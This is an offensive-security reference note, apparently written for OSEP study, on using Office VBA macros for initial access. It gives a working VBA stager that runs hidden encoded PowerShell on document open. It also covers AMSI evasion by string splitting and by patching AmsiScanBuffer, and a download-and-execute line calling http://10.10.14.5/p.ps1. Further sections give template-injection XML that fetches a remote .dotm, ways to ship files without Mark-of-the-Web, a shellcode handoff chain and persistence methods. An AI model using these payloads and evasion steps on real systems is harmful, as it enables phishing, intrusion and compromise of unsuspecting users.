Office VBA macros for initial access
TL;DR: A Word/Excel macro is VBA code that can spawn arbitrary processes and download/run payloads. Modern Office blocks macros from internet-sourced docs by default (MOTW), and AMSI now scans VBA at runtime, so initial-access tradecraft is: pick a container that strips MOTW, write VBA that defeats AMSI string detection, and deliver a stager that hands off to a more durable payload as fast as possible. Companion to client-side-attacks-primer and osep-roadmap.
File-format choices
| Ext | Notes |
|---|---|
.docm | Macro-enabled Word — most common, most flagged |
.xlsm | Macro-enabled Excel — slightly less mail-filtered |
.dotm / .xltm | Template — opening a template doesn’t carry MOTW the same way; useful via Template Injection (loading a remote .dotm from a clean .docx) |
.xls (Excel 4 macros / XLM) | Legacy, separate macro engine — now blocked by default but still useful against unpatched Office |
.pub (Publisher) | Niche, sometimes survives filters |
Minimum-viable VBA stager
Sub AutoOpen()
Dim sh As Object
Set sh = CreateObject("WScript.Shell")
sh.Run "powershell -nop -w hidden -ep bypass -enc " & _
"JABjAGwAaQBlAG4AdAA9AE4AZQB3AC0ATwBiAGoAZQ...", _
0, False
End Sub
Sub Workbook_Open()
AutoOpen
End Sub
AutoOpen (Word) and Workbook_Open (Excel) fire on document open if macros are enabled. Provide both so the same file works either way.
AMSI on macros
Since Office 365 / 2016+, AMSI scans VBA at runtime — both source and the strings you build dynamically. You’ll see detections on:
- Literal
powershellstrings. Shell.Application,WScript.Shellstrings (lower trigger rate but watched).DownloadString,FromBase64String.
Standard string-splitting trick:
Dim a As String
a = "po" & "wer" & "sh" & "ell" ' AMSI sees "po" then "wer"... harder to match
Better: defeat AMSI in the host process before you call out to PowerShell:
Sub AutoOpen()
Dim mem As LongPtr, dummy As LongPtr
' Resolve VirtualProtect, find amsi.dll!AmsiScanBuffer, patch the prologue
' to "xor eax, eax; ret" (return AMSI_RESULT_CLEAN).
PatchAmsi
Shell "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/p.ps1')", vbHide
End Sub
See amsi-bypass for the patch implementation; the technique used inside VBA is identical to the one used from a .NET loader.
Mark of the Web (MOTW)
Downloaded files carry a Zone.Identifier alternate data stream. Office uses it to put the document in Protected View and (per recent policy) block macros entirely from internet-sourced files.
MOTW-stripping containers (vendors continue to close these):
- ISO / IMG —
.isomounts as a drive; files extracted historically did not inherit MOTW. Microsoft closed this for ISOs in 2022. - VHD / VHDX — similar story, partly closed.
- 7z self-extracting archives — depends on extractor.
- Password-protected ZIP — the user types the password to extract; the extractor may not propagate MOTW.
Practical OSEP play: ship a password-protected zip containing the .docm; password in the email body. User extracts, opens, macro fires.
Template injection (preferred modern delivery)
- Send a clean
.docx(no macros, no AMSI triggers). - Inside
word/_rels/settings.xml.relsset the templateTargettohttp://attacker/payload.dotm. - When Word opens, it fetches the remote template and runs its macros.
Why it works: the carrier is clean (passes mail filters), the payload is server-side (you can swap it per target), and the delivery cleanly separates carrier from execution.
1
2
3
4
5
<!-- word/_rels/settings.xml.rels (snippet) -->
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
Target="http://10.10.14.5/normal.dotm" TargetMode="External"/>
</Relationships>
Defeat-by-design: handoff to a real payload
VBA is a bad place to live. Your stager should:
- Allocate memory in the Word process (or a freshly-spawned child).
- Copy shellcode bytes in.
- Hand execution to it.
- Exit cleanly so Word doesn’t crash visibly to the user.
The handoff is a Win32 API call chain (VirtualAlloc, CreateThread or CreateRemoteThread, WaitForSingleObject), or — for OSEP — a managed loader using Process.GetCurrentProcess, .NET reflection, and unmanaged P/Invoke.
Persistence (post-foothold)
- Add yourself as a Word add-in (
%APPDATA%\Microsoft\Word\STARTUP\*.dotm) — survives reboots, loads on every Word launch. - Drop a scheduled task via
schtasks(more general). - Trigger on user logon via registry Run key.
See persistence-techniques-windows.
Defence (so you know what you’re bypassing)
- Group policy: block macros from internet entirely.
- ASR rule: “Block all Office applications from creating child processes”.
- AMSI plus EDR script visibility.
- Attack Surface Reduction telemetry on
WINWORD.EXE → powershell.exechains.
A modern engagement assumes all of the above and reaches for template injection + AMSI patching + non-PowerShell handoff (.NET assembly, syscall stub) before the macro even calls into the OS.